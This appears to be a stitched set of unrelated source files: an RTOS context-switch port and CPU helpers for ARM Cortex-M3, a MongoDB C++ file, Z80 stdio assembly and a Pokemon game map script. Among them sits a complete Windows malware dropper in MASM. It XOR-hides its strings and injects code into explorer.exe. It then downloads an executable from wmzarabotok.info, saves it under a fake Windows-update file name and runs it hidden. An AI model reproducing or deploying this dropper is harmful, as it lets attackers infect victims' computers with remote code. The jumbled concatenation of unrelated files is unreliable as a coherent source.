DIRECTIVES ;******************************************************************************************************** AREA |.text|, CODE, READONLY, ALIGN=2 THUMB REQUIRE8 PRESERVE8 ;******************************************************************************************************** ; CRITICAL SECTION METHOD 3 FUNCTIONS ; ; Description: Disable/Enable interrupts by preserving the state of interrupts. Generally speaking you ; would store the state of the interrupt disable flag in the local variable 'cpu_sr' and then ; disable interrupts. 'cpu_sr' is allocated in all of uC/OS-II's functions that need to ; disable interrupts. You would restore the interrupt disable state by copying back 'cpu_sr' ; into the CPU's status register. ; ; Prototypes : OS_CPU_SR OS_CPU_SR_Save(void); ; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr); ; ; ; Note(s) : 1) These functions are used in general like this: ; ; void Task (void *p_arg) ; { ; #if OS_CRITICAL_METHOD == 3 /* Allocate storage for CPU status register */ ; OS_CPU_SR cpu_sr; ; #endif ; ; : ; : ; OS_ENTER_CRITICAL(); /* cpu_sr = OS_CPU_SaveSR(); */ ; : ; : ; OS_EXIT_CRITICAL(); /* OS_CPU_RestoreSR(cpu_sr); */ ; : ; : ; } ;******************************************************************************************************** OS_CPU_SR_Save MRS R0, PRIMASK ; Set prio int mask to mask all (except faults) CPSID I BX LR OS_CPU_SR_Restore MSR PRIMASK, R0 BX LR ;******************************************************************************************************** ; START MULTITASKING ; void OSStartHighRdy(void) ; ; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause ; the first task to start. ; ; 2) OSStartHighRdy() MUST: ; a) Setup PendSV exception priority to lowest; ; b) Set initial PSP to 0, to tell context switcher this is first run; ; c) Set the main stack to OS_CPU_ExceptStkBase; ; d) Set OSRunning to TRUE; ; e) Trigger PendSV exception; ; f) Enable interrupts (tasks will run with interrupts enabled). ;******************************************************************************************************** OSStartHighRdy LDR R0, =NVIC_SYSPRI14 ; Set the PendSV exception priority LDR R1, =NVIC_PENDSV_PRI STRB R1, [R0] MOVS R0, #0 ; Set the PSP to 0 for initial context switch call MSR PSP, R0 LDR R0, =OS_CPU_ExceptStkBase ; Initialize the MSP to the OS_CPU_ExceptStkBase LDR R1, [R0] MSR MSP, R1 LDR R0, =OSRunning ; OSRunning = TRUE MOVS R1, #1 STRB R1, [R0] LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] CPSIE I ; Enable interrupts at processor level OSStartHang B OSStartHang ; Should never get here ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From task level) ; void OSCtxSw(void) ; ; Note(s) : 1) OSCtxSw() is called when OS wants to perform a task context switch. This function ; triggers the PendSV exception which is where the real work is done. ;******************************************************************************************************** OSCtxSw LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] BX LR ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From interrupt level) ; void OSIntCtxSw(void) ; ; Notes: 1) OSIntCtxSw() is called by OSIntExit() when it determines a context switch is needed as ; the result of an interrupt. This function simply triggers a PendSV exception which will ; be handled when there are no more interrupts active and interrupts are enabled. ;******************************************************************************************************** OSIntCtxSw LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] BX LR ;******************************************************************************************************** ; HANDLE PendSV EXCEPTION ; void OS_CPU_PendSVHandler(void) ; ; Note(s) : 1) PendSV is used to cause a context switch. This is a recommended method for performing ; context switches with Cortex-M3. This is because the Cortex-M3 auto-saves half of the ; processor context on any exception, and restores same on return from exception. So only ; saving of R4-R11 is required and fixing up the stack pointers. Using the PendSV exception ; this way means that context saving and restoring is identical whether it is initiated from ; a thread or occurs due to an interrupt or exception. ; ; 2) Pseudo-code is: ; a) Get the process SP, if 0 then skip (goto d) the saving part (first context switch); ; b) Save remaining regs r4-r11 on process stack; ; c) Save the process SP in its TCB, OSTCBCur->OSTCBStkPtr = SP; ; d) Call OSTaskSwHook(); ; e) Get current high priority, OSPrioCur = OSPrioHighRdy; ; f) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy; ; g) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr; ; h) Restore R4-R11 from new process stack; ; i) Perform exception return which will restore remaining context. ; ; 3) On entry into PendSV handler: ; a) The following have been saved on the process stack (by processor): ; xPSR, PC, LR, R12, R0-R3 ; b) Processor mode is switched to Handler mode (from Thread mode) ; c) Stack is Main stack (switched from Process stack) ; d) OSTCBCur points to the OS_TCB of the task to suspend ; OSTCBHighRdy points to the OS_TCB of the task to resume ; ; 4) Since PendSV is set to lowest priority in the system (by OSStartHighRdy() above), we ; know that it will only be run when no other exception or interrupt is active, and ; therefore safe to assume that context being switched out was using the process stack (PSP). ;******************************************************************************************************** PendSV_Handler ; QL was: OS_CPU_PendSVHandler CPSID I ; Prevent interruption during context switch MRS R0, PSP ; PSP is process stack pointer CBZ R0, OS_CPU_PendSVHandler_nosave ; Skip register save the first time SUBS R0, R0, #0x20 ; Save remaining regs r4-11 on process stack STM R0, {R4-R11} LDR R1, =OSTCBCur ; OSTCBCur->OSTCBStkPtr = SP; LDR R1, [R1] STR R0, [R1] ; R0 is SP of process being switched out ; At this point, entire context of process has been saved OS_CPU_PendSVHandler_nosave PUSH {R14} ; Save LR exc_return value LDR R0, =OSTaskSwHook ; OSTaskSwHook(); BLX R0 POP {R14} LDR R0, =OSPrioCur ; OSPrioCur = OSPrioHighRdy; LDR R1, =OSPrioHighRdy LDRB R2, [R1] STRB R2, [R0] LDR R0, =OSTCBCur ; OSTCBCur = OSTCBHighRdy; LDR R1, =OSTCBHighRdy LDR R2, [R1] STR R2, [R0] LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr; LDM R0, {R4-R11} ; Restore r4-11 from new process stack ADDS R0, R0, #0x20 MSR PSP, R0 ; Load PSP with new process SP ORR LR, LR, #0x04 ; Ensure exception return uses process stack CPSIE I BX LR ; Exception return will restore remaining context END
;******************************************************************************************************** ; uC/CPU ; CPU CONFIGURATION & PORT LAYER ; ; (c) Copyright 2004-2011; Micrium, Inc.; Weston, FL ; ; All rights reserved. Protected by international copyright laws. ; ; uC/CPU is provided in source form to registered licensees ONLY. It is ; illegal to distribute this source code to any third party unless you receive ; written permission by an authorized Micrium representative. Knowledge of ; the source code may NOT be used to develop a similar product. ; ; Please help us continue to provide the Embedded community with the finest ; software available. Your honesty is greatly appreciated. ; ; You can contact us at www.micrium.com. ;******************************************************************************************************** ;******************************************************************************************************** ; ; CPU PORT FILE ; ; ARM-Cortex-M3 ; IAR C Compiler ; ; Filename : cpu_a.asm ; Version : V1.29.01.00 ; Programmer(s) : JJL ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** PUBLIC CPU_IntDis PUBLIC CPU_IntEn PUBLIC CPU_SR_Save PUBLIC CPU_SR_Restore PUBLIC CPU_WaitForInt PUBLIC CPU_WaitForExcept PUBLIC CPU_CntLeadZeros PUBLIC CPU_CntTrailZeros PUBLIC CPU_RevBits ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) THUMB ;$PAGE ;******************************************************************************************************** ; DISABLE and ENABLE INTERRUPTS ; ; Description : Disable/Enable interrupts. ; ; Prototypes : void CPU_IntDis(void); ; void CPU_IntEn (void); ;******************************************************************************************************** CPU_IntDis CPSID I BX LR CPU_IntEn CPSIE I BX LR ;******************************************************************************************************** ; CRITICAL SECTION FUNCTIONS ; ; Description : Disable/Enable interrupts by preserving the state of interrupts. Generally speaking, the ; state of the interrupt disable flag is stored in the local variable 'cpu_sr' & interrupts ; are then disabled ('cpu_sr' is allocated in all functions that need to disable interrupts). ; The previous interrupt state is restored by copying 'cpu_sr' into the CPU's status register. ; ; Prototypes : CPU_SR CPU_SR_Save (void); ; void CPU_SR_Restore(CPU_SR cpu_sr); ; ; Note(s) : (1) These functions are used in general like this : ; ; void Task (void *p_arg) ; { ; CPU_SR_ALLOC(); /* Allocate storage for CPU status register */ ; : ; : ; CPU_CRITICAL_ENTER(); /* cpu_sr = CPU_SR_Save(); */ ; : ; : ; CPU_CRITICAL_EXIT(); /* CPU_SR_Restore(cpu_sr); */ ; : ; } ;******************************************************************************************************** CPU_SR_Save MRS R0, PRIMASK ; Set prio int mask to mask all (except faults) CPSID I BX LR CPU_SR_Restore ; See Note #2. MSR PRIMASK, R0 BX LR ;$PAGE ;******************************************************************************************************** ; WAIT FOR INTERRUPT ; ; Description : Enters sleep state, which will be exited when an interrupt is received. ; ; Prototypes : void CPU_WaitForInt (void) ; ; Argument(s) : none. ;******************************************************************************************************** CPU_WaitForInt WFI ; Wait for interrupt BX LR ;******************************************************************************************************** ; WAIT FOR EXCEPTION ; ; Description : Enters sleep state, which will be exited when an exception is received. ; ; Prototypes : void CPU_WaitForExcept (void) ; ; Argument(s) : none. ;******************************************************************************************************** CPU_WaitForExcept WFE ; Wait for exception BX LR ;$PAGE ;******************************************************************************************************** ; CPU_CntLeadZeros() ; COUNT LEADING ZEROS ; ; Description : Counts the number of contiguous, most-significant, leading zero bits before the ; first binary one bit in a data value. ; ; Prototype : CPU_DATA CPU_CntLeadZeros(CPU_DATA val); ; ; Argument(s) : val Data value to count leading zero bits. ; ; Return(s) : Number of contiguous, most-significant, leading zero bits in 'val'. ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application ; function(s). ; ; Note(s) : (1) (a) Supports 32-bit data value size as configured by 'CPU_DATA' (see 'cpu.h ; CPU WORD CONFIGURATION Note #1'). ; ; (b) For 32-bit values : ; ; b31 b30 b29 ... b04 b03 b02 b01 b00 # Leading Zeros ; --- --- --- --- --- --- --- --- --------------- ; 1 x x x x x x x 0 ; 0 1 x x x x x x 1 ; 0 0 1 x x x x x 2 ; : : : : : : : : : ; : : : : : : : : : ; 0 0 0 1 x x x x 27 ; 0 0 0 0 1 x x x 28 ; 0 0 0 0 0 1 x x 29 ; 0 0 0 0 0 0 1 x 30 ; 0 0 0 0 0 0 0 1 31 ; 0 0 0 0 0 0 0 0 32 ; ; ; (2) MUST be defined in 'cpu_a.asm' (or 'cpu_c.c') if CPU_CFG_LEAD_ZEROS_ASM_PRESENT is ; #define'd in 'cpu_cfg.h' or 'cpu.h'. ;******************************************************************************************************** CPU_CntLeadZeros CLZ R0, R0 ; Count leading zeros BX LR ;$PAGE ;******************************************************************************************************** ; CPU_CntTrailZeros() ; COUNT TRAILING ZEROS ; ; Description : Counts the number of contiguous, least-significant, trailing zero bits before the ; first binary one bit in a data value. ; ; Prototype : CPU_DATA CPU_CntTrailZeros(CPU_DATA val); ; ; Argument(s) : val Data value to count trailing zero bits. ; ; Return(s) : Number of contiguous, least-significant, trailing zero bits in 'val'. ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application ; function(s). ; ; Note(s) : (1) (a) Supports 32-bit data value size as configured by 'CPU_DATA' (see 'cpu.h ; CPU WORD CONFIGURATION Note #1'). ; ; (b) For 32-bit values : ; ; b31 b30 b29 b28 b27 ... b02 b01 b00 # Trailing Zeros ; --- --- --- --- --- --- --- --- ---------------- ; x x x x x x x 1 0 ; x x x x x x 1 0 1 ; x x x x x 1 0 0 2 ; : : : : : : : : : ; : : : : : : : : : ; x x x x 1 0 0 0 27 ; x x x 1 0 0 0 0 28 ; x x 1 0 0 0 0 0 29 ; x 1 0 0 0 0 0 0 30 ; 1 0 0 0 0 0 0 0 31 ; 0 0 0 0 0 0 0 0 32 ; ; ; (2) MUST be defined in 'cpu_a.asm' (or 'cpu_c.c') if CPU_CFG_TRAIL_ZEROS_ASM_PRESENT is ; #define'd in 'cpu_cfg.h' or 'cpu.h'. ;******************************************************************************************************** CPU_CntTrailZeros RBIT R0, R0 ; Reverse bits CLZ R0, R0 ; Count trailing zeros BX LR ;$PAGE ;******************************************************************************************************** ; CPU_RevBits() ; REVERSE BITS ; ; Description : Reverses the bits in a data value. ; ; Prototypes : CPU_DATA CPU_RevBits(CPU_DATA val); ; ; Argument(s) : val Data value to reverse bits. ; ; Return(s) : Value with all bits in 'val' reversed (see Note #1). ; ; Caller(s) : Application. ; ; This function is an INTERNAL CPU module function but MAY be called by application function(s). ; ; Note(s) : (1) The final, reversed data value for 'val' is such that : ; ; 'val's final bit 0 = 'val's original bit N ; 'val's final bit 1 = 'val's original bit (N - 1) ; 'val's final bit 2 = 'val's original bit (N - 2) ; ; ... ... ; ; 'val's final bit (N - 2) = 'val's original bit 2 ; 'val's final bit (N - 1) = 'val's original bit 1 ; 'val's final bit N = 'val's original bit 0 ;******************************************************************************************************** CPU_RevBits RBIT R0, R0 ; Reverse bits BX LR ;$PAGE ;******************************************************************************************************** ; CPU ASSEMBLY PORT FILE END ;******************************************************************************************************** END
.586 .model flat, stdcall option casemap:none injected_thread proto include inc\windows.inc include inc\kernel32.inc include inc\user32.inc include inc\urlmon.inc includelib lib\kernel32.lib includelib lib\user32.lib includelib lib\urlmon.lib includelib lib\srt.lib XOR_KEY = 90 crypt macro string irpc c,<string> db '&c' xor XOR_KEY endm db 0 endm decrypt PROTO :DWORD xVirtualAllocEx PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD xVirtualFreeEx PROTO :DWORD, :DWORD, :DWORD, :DWORD xCreateRemoteThread PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD .code aTarget: crypt <shell_traywnd> url: crypt <http://wmzarabotok.info/dos/test.exe> exe: crypt <C:\Temp\KB887472-x86.exe> lpModule dd ? lpNewModule dd ? lpProcess dd ? dwSize dd ? lpPID dd ? nBytesWritten dd ? start: invoke decrypt,addr url invoke decrypt,addr exe invoke decrypt,addr aTarget invoke GetModuleHandle,0 mov [lpModule], eax mov edi,eax add edi,[edi+3Ch] add edi,4 add edi,14h mov eax,[edi+38h] mov [dwSize],eax invoke FindWindow,offset aTarget,0 ;find explorer.exe invoke GetWindowThreadProcessId, eax, addr lpPID invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE, lpPID mov [lpProcess],eax invoke xVirtualFreeEx, [lpProcess], [lpModule], 0, MEM_RELEASE invoke xVirtualAllocEx, [lpProcess], [lpModule], dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE invoke WriteProcessMemory, [lpProcess], eax, [lpModule], [dwSize], addr nBytesWritten invoke xCreateRemoteThread, [lpProcess], 0, 0, offset injected_thread, [lpModule], 0, ebx invoke ExitProcess, 0 decrypt proc cryptdata:DWORD push esi push edi mov esi,cryptdata mov edi,esi xor_loop: lodsb or al,al jz xor_finished xor al, XOR_KEY stosb jmp xor_loop xor_finished: pop edi pop esi ret decrypt endp injected_thread proc invoke URLDownloadToFile,0,offset url,offset exe,0,0 invoke WinExec, offset exe, SW_HIDE invoke ExitThread,0 ret injected_thread endp end start
/* * Copyright (C) 2015 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the GNU Affero General Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #include "mongo/platform/basic.h" #include "mongo/rpc/metadata/server_selection_metadata.h" #include <utility> #include <tuple> #include "mongo/base/status_with.h" #include "mongo/bson/util/bson_extract.h" #include "mongo/client/dbclientinterface.h" #include "mongo/db/jsobj.h" #include "mongo/db/operation_context.h" #include "mongo/util/assert_util.h" namespace mongo { namespace rpc { namespace { const char kSecondaryOkFieldName[] = "$secondaryOk"; const char kReadPreferenceFieldName[] = "$readPreference"; const char kQueryOptionsFieldName[] = "$queryOptions"; const char kDollarQueryWrapper[] = "$query"; const char kQueryWrapper[] = "query"; /** * Utility to unwrap a '$query' or 'query' wrapped command object. The first element of the * return value indicates whether the command was unwrapped, and the second element is either * the unwrapped command (if it was wrapped), or the original command if it was not. */ std::tuple<bool, BSONObj> unwrapCommand(const BSONObj& maybeWrapped) { const auto firstElFieldName = maybeWrapped.firstElementFieldName(); if ((firstElFieldName == StringData(kDollarQueryWrapper)) || (firstElFieldName == StringData(kQueryWrapper))) { // TODO: do we need getOwned here? return std::make_tuple(true, maybeWrapped.firstElement().embeddedObject()); } return std::make_tuple(false, maybeWrapped); } /** * Reads a top-level $readPreference field from a wrapped command. */ Status extractWrappedReadPreference(const BSONObj& wrappedCommand, BSONObjBuilder* metadataBob) { BSONElement readPrefEl; auto rpExtractStatus = bsonExtractTypedField(wrappedCommand, kReadPreferenceFieldName, mongo::Object, &readPrefEl); if (rpExtractStatus.isOK()) { metadataBob->append(readPrefEl); } else if (rpExtractStatus != ErrorCodes::NoSuchKey) { return rpExtractStatus; } return Status::OK(); } /** * Reads a $readPreference from a $queryOptions subobject, if it exists, and writes it to * metadataBob. Writes out the original command excluding the $queryOptions subobject. */ Status extractUnwrappedReadPreference(const BSONObj& unwrappedCommand, BSONObjBuilder* commandBob, BSONObjBuilder* metadataBob) { BSONElement queryOptionsEl; BSONElement readPrefEl; auto queryOptionsExtractStatus = bsonExtractTypedField(unwrappedCommand, kQueryOptionsFieldName, mongo::Object, &queryOptionsEl); // If there is no queryOptions subobject, we write out the command and return. if (queryOptionsExtractStatus == ErrorCodes::NoSuchKey) { commandBob->appendElements(unwrappedCommand); return Status::OK(); } else if (!queryOptionsExtractStatus.isOK()) { return queryOptionsExtractStatus; } // Write out the command excluding the $queryOptions field. for (const auto& elem : unwrappedCommand) { if (elem.fieldNameStringData() != kQueryOptionsFieldName) { commandBob->append(elem); } } auto rpExtractStatus = bsonExtractTypedField(queryOptionsEl.embeddedObject(), kReadPreferenceFieldName, mongo::Object, &readPrefEl); // If there is a $queryOptions field, we expect there to be a $readPreference. if (!rpExtractStatus.isOK()) { return rpExtractStatus; } metadataBob->append(readPrefEl); return Status::OK(); } } // namespace const OperationContext::Decoration<ServerSelectionMetadata> ServerSelectionMetadata::get = OperationContext::declareDecoration<ServerSelectionMetadata>(); ServerSelectionMetadata::ServerSelectionMetadata( bool secondaryOk, boost::optional<ReadPreferenceSetting> readPreference ) : _secondaryOk(secondaryOk) , _readPreference(std::move(readPreference)) {} StatusWith<ServerSelectionMetadata> ServerSelectionMetadata::readFromMetadata(const BSONObj& metadata) { auto secondaryOkField = metadata.getField(kSecondaryOkFieldName); bool secondaryOk = !secondaryOkField.eoo(); boost::optional<ReadPreferenceSetting> readPreference; BSONElement rpElem; auto readPrefExtractStatus = bsonExtractTypedField(metadata, kReadPreferenceFieldName, mongo::Object, &rpElem); if (readPrefExtractStatus == ErrorCodes::NoSuchKey) { // Do nothing, it's valid to have no ReadPreference } else if (!readPrefExtractStatus.isOK()) { return readPrefExtractStatus; } else { // We have a read preference in the metadata object. auto parsedRps = ReadPreferenceSetting::fromBSON(rpElem.Obj()); if (!parsedRps.isOK()) { return parsedRps.getStatus(); } readPreference.emplace(std::move(parsedRps.getValue())); } return ServerSelectionMetadata(secondaryOk, std::move(readPreference)); } Status ServerSelectionMetadata::writeToMetadata(const ServerSelectionMetadata& ss, BSONObjBuilder* metadataBob) { if (ss.isSecondaryOk()) { metadataBob->append(kSecondaryOkFieldName, 1); } if (ss.getReadPreference()) { metadataBob->append(kReadPreferenceFieldName, ss.getReadPreference()->toBSON()); } return Status::OK(); } Status ServerSelectionMetadata::downconvert(const BSONObj& command, const BSONObj& metadata, BSONObjBuilder* legacyCommand, int* legacyQueryFlags) { BSONElement secondaryOkElem = metadata.getField(kSecondaryOkFieldName); BSONElement readPrefElem = metadata.getField(kReadPreferenceFieldName); if (!secondaryOkElem.eoo()) { *legacyQueryFlags |= mongo::QueryOption_SlaveOk; } else { *legacyQueryFlags &= ~mongo::QueryOption_SlaveOk; } if (!readPrefElem.eoo()) { // Use 'query' to wrap query, then append read preference. // NOTE(amidvidy): Oddly, the _isSecondaryQuery implementation in dbclient_rs does // not unwrap the query properly - it only checks for 'query', and not // '$query'. We should probably standardize on one - drivers use '$query', // and the shell uses 'query'. See SERVER-18705 for details. // TODO: this may need to use the $queryOptions hack on mongos. legacyCommand->append(kQueryWrapper, command); legacyCommand->append(readPrefElem); } else { legacyCommand->appendElements(command); } return Status::OK(); } Status ServerSelectionMetadata::upconvert(const BSONObj& legacyCommand, const int legacyQueryFlags, BSONObjBuilder* commandBob, BSONObjBuilder* metadataBob) { // The secondaryOK option is equivalent to the slaveOk bit being set on legacy commands. if (legacyQueryFlags & QueryOption_SlaveOk) { metadataBob->append(kSecondaryOkFieldName, 1); } // First we need to check if we have a wrapped command. That is, a command of the form // {'$query': { 'commandName': 1, ...}, '$someOption': 5, ....}. Curiously, the field name // of the wrapped query can be either '$query', or 'query'. BSONObj maybeUnwrapped; bool wasWrapped; std::tie(wasWrapped, maybeUnwrapped) = unwrapCommand(legacyCommand); if (wasWrapped) { // Check if legacyCommand has an invalid $maxTimeMS option. // TODO: Move this check elsewhere when we handle upconverting/downconverting maxTimeMS. if (legacyCommand.hasField("$maxTimeMS")) { return Status(ErrorCodes::InvalidOptions, "cannot use $maxTimeMS query option with " "commands; use maxTimeMS command option " "instead"); } // If the command was wrapped, we can write out the upconverted command now, as there // is nothing else we need to remove from it. commandBob->appendElements(maybeUnwrapped); return extractWrappedReadPreference(legacyCommand, metadataBob); } // If the command was not wrapped, we need to check for a readPreference sent by mongos // on the $queryOptions field of the command. If it is set, we remove it from the // upconverted command, so we need to pass the command builder along. return extractUnwrappedReadPreference(maybeUnwrapped, commandBob, metadataBob); } bool ServerSelectionMetadata::isSecondaryOk() const { return _secondaryOk; } const boost::optional<ReadPreferenceSetting>& ServerSelectionMetadata::getReadPreference() const { return _readPreference; } #if defined(_MSC_VER) && _MSC_VER < 1900 ServerSelectionMetadata::ServerSelectionMetadata(ServerSelectionMetadata&& ssm) : _secondaryOk(ssm._secondaryOk) , _readPreference(std::move(ssm._readPreference)) {} ServerSelectionMetadata& ServerSelectionMetadata::operator=(ServerSelectionMetadata&& ssm) { _secondaryOk = ssm._secondaryOk; _readPreference = std::move(ssm._readPreference); return *this; } #endif } // rpc } // mongo
FUNC LABEL 0 MOV REG 1 VAL 10 ADD REG 7 REG 1 RET FUNC LABEL 1 PRINT VAL 3
Name: kart-init-p.asm Type: file Size: 56669 Last-Modified: '1992-11-18T01:34:03Z' SHA-1: 789AD66EEC6D8E382A664500E90D88822CDEF72A Description: null
SECTION code_stdio PUBLIC __stdio_recv_input_raw_eat_ws PUBLIC __stdio_recv_input_raw_eat_ws_repeat EXTERN asm_isspace, __stdio_recv_input_raw_eatc ; ALL HIGH LEVEL STDIO INPUT PASSES THROUGH __STDIO_RECV_INPUT_RAW_* ; EXCEPT FOR VFSCANF. THIS ENSURES STREAM STATE IS CORRECTLY MAINTAINED __stdio_recv_input_raw_eat_ws_repeat: ; Driver consumes all whitespace from the stream, as qualified by isspace() ; C11 specifies no error can occur while eating whitespace so no status is returned to caller ; ; enter : ix = FILE * ; ; exit : ix = FILE * ; bc'= number of chars consumed from stream in last(!!) operation ; a = next unconsumed char (0 on error, 255 on eof) ; stream state set appropriately (error / eof) ; ; note : de unaffected ld bc,$ffff call __stdio_recv_input_raw_eat_ws call asm_isspace ret c jr __stdio_recv_input_raw_eat_ws_repeat __stdio_recv_input_raw_eat_ws: ; Driver consumes whitespace from the stream, as qualified by isspace() ; ; enter : ix = FILE * ; bc = max_length ; ; exit : ix = FILE * ; bc'= number of chars consumed from stream in this operation ; a = next unconsumed char (0 on error, 255 on eof) ; stream state set appropriately (error / eof) ld hl,asm_isspace push bc exx pop hl call __stdio_recv_input_raw_eatc exx ret
object_const_def ; object_event constants const ROUTE36NATIONALPARKGATE_OFFICER1 const ROUTE36NATIONALPARKGATE_YOUNGSTER1 const ROUTE36NATIONALPARKGATE_YOUNGSTER2 const ROUTE36NATIONALPARKGATE_ROCKER const ROUTE36NATIONALPARKGATE_POKEFAN_M const ROUTE36NATIONALPARKGATE_YOUNGSTER3 const ROUTE36NATIONALPARKGATE_YOUNGSTER4 const ROUTE36NATIONALPARKGATE_LASS const ROUTE36NATIONALPARKGATE_YOUNGSTER5 const ROUTE36NATIONALPARKGATE_YOUNGSTER6 const ROUTE36NATIONALPARKGATE_YOUNGSTER7 const ROUTE36NATIONALPARKGATE_OFFICER2 Route36NationalParkGate_MapScripts: db 3 ; scene scripts scene_script .DummyScene0 ; SCENE_ROUTE36NATIONALPARKGATE_NOTHING scene_script .DummyScene1 ; SCENE_ROUTE36NATIONALPARKGATE_UNUSED scene_script .LeaveContestEarly ; SCENE_ROUTE36NATIONALPARKGATE_LEAVE_CONTEST_EARLY db 2 ; callbacks callback MAPCALLBACK_NEWMAP, .CheckIfContestRunning callback MAPCALLBACK_OBJECTS, .CheckIfContestAvailable .DummyScene0: end .DummyScene1: end .LeaveContestEarly: prioritysjump .LeavingContestEarly end .CheckIfContestRunning: checkflag ENGINE_BUG_CONTEST_TIMER iftrue .BugContestIsRunning setscene SCENE_ROUTE36NATIONALPARKGATE_NOTHING return .BugContestIsRunning: setscene SCENE_ROUTE36NATIONALPARKGATE_LEAVE_CONTEST_EARLY return .CheckIfContestAvailable: checkevent EVENT_WARPED_FROM_ROUTE_35_NATIONAL_PARK_GATE iftrue .Return readvar VAR_WEEKDAY ifequal TUESDAY, .SetContestOfficer ifequal THURSDAY, .SetContestOfficer ifequal SATURDAY, .SetContestOfficer checkflag ENGINE_BUG_CONTEST_TIMER iftrue .SetContestOfficer disappear ROUTE36NATIONALPARKGATE_OFFICER1 appear ROUTE36NATIONALPARKGATE_OFFICER2 return .SetContestOfficer: appear ROUTE36NATIONALPARKGATE_OFFICER1 disappear ROUTE36NATIONALPARKGATE_OFFICER2 .Return: return .LeavingContestEarly: turnobject PLAYER, UP opentext readvar VAR_CONTESTMINUTES addval 1 getnum STRING_BUFFER_3 writetext Route36NationalParkGateOfficer1WantToFinishText yesorno iffalse .GoBackToContest writetext Route36NationalParkGateOfficer1WaitHereForAnnouncementText waitbutton closetext special FadeBlackQuickly special ReloadSpritesNoPalettes scall .CopyContestants disappear ROUTE36NATIONALPARKGATE_OFFICER1 appear ROUTE36NATIONALPARKGATE_OFFICER2 applymovement PLAYER, Route36NationalParkGatePlayerWaitWithContestantsMovement pause 15 special FadeInQuickly jumpstd bugcontestresults .GoBackToContest: writetext Route36NationalParkGateOfficer1OkGoFinishText waitbutton closetext turnobject PLAYER, LEFT playsound SFX_EXIT_BUILDING special FadeOutPalettes waitsfx warpfacing LEFT, NATIONAL_PARK_BUG_CONTEST, 33, 18 end .CopyContestants: checkevent EVENT_BUG_CATCHING_CONTESTANT_1A iftrue .Not1 appear ROUTE36NATIONALPARKGATE_YOUNGSTER1 .Not1: checkevent EVENT_BUG_CATCHING_CONTESTANT_2A iftrue .Not2 appear ROUTE36NATIONALPARKGATE_YOUNGSTER2 .Not2: checkevent EVENT_BUG_CATCHING_CONTESTANT_3A iftrue .Not3 appear ROUTE36NATIONALPARKGATE_ROCKER .Not3: checkevent EVENT_BUG_CATCHING_CONTESTANT_4A iftrue .Not4 appear ROUTE36NATIONALPARKGATE_POKEFAN_M .Not4: checkevent EVENT_BUG_CATCHING_CONTESTANT_5A iftrue .Not5 appear ROUTE36NATIONALPARKGATE_YOUNGSTER3 .Not5: checkevent EVENT_BUG_CATCHING_CONTESTANT_6A iftrue .Not6 appear ROUTE36NATIONALPARKGATE_YOUNGSTER4 .Not6: checkevent EVENT_BUG_CATCHING_CONTESTANT_7A iftrue .Not7 appear ROUTE36NATIONALPARKGATE_LASS .Not7: checkevent EVENT_BUG_CATCHING_CONTESTANT_8A iftrue .Not8 appear ROUTE36NATIONALPARKGATE_YOUNGSTER5 .Not8: checkevent EVENT_BUG_CATCHING_CONTESTANT_9A iftrue .Not9 appear ROUTE36NATIONALPARKGATE_YOUNGSTER6 .Not9: checkevent EVENT_BUG_CATCHING_CONTESTANT_10A iftrue .Not10 appear ROUTE36NATIONALPARKGATE_YOUNGSTER7 .Not10: special UpdateSprites end Route36OfficerScriptContest: readvar VAR_WEEKDAY ifequal SUNDAY, _ContestNotOn ifequal MONDAY, _ContestNotOn ifequal WEDNESDAY, _ContestNotOn ifequal FRIDAY, _ContestNotOn faceplayer opentext checkflag ENGINE_DAILY_BUG_CONTEST iftrue Route36Officer_ContestHasConcluded scall Route36ParkGate_DayToText writetext Route36NationalParkGateOfficer1AskToParticipateText yesorno iffalse .DecidedNotToJoinContest readvar VAR_PARTYCOUNT ifgreater 1, .LeaveMonsWithOfficer special ContestDropOffMons clearevent EVENT_LEFT_MONS_WITH_CONTEST_OFFICER .ResumeStartingContest: setflag ENGINE_BUG_CONTEST_TIMER special PlayMapMusic writetext Route36NationalParkGateOfficer1GiveParkBallsText buttonsound waitsfx writetext Route36NationalParkGatePlayerReceivedParkBallsText playsound SFX_ITEM waitsfx writetext Route36NationalParkGateOfficer1ExplainsRulesText waitbutton closetext setflag ENGINE_BUG_CONTEST_TIMER special GiveParkBalls turnobject PLAYER, LEFT playsound SFX_EXIT_BUILDING special FadeOutPalettes waitsfx special SelectRandomBugContestContestants warpfacing LEFT, NATIONAL_PARK_BUG_CONTEST, 33, 18 end 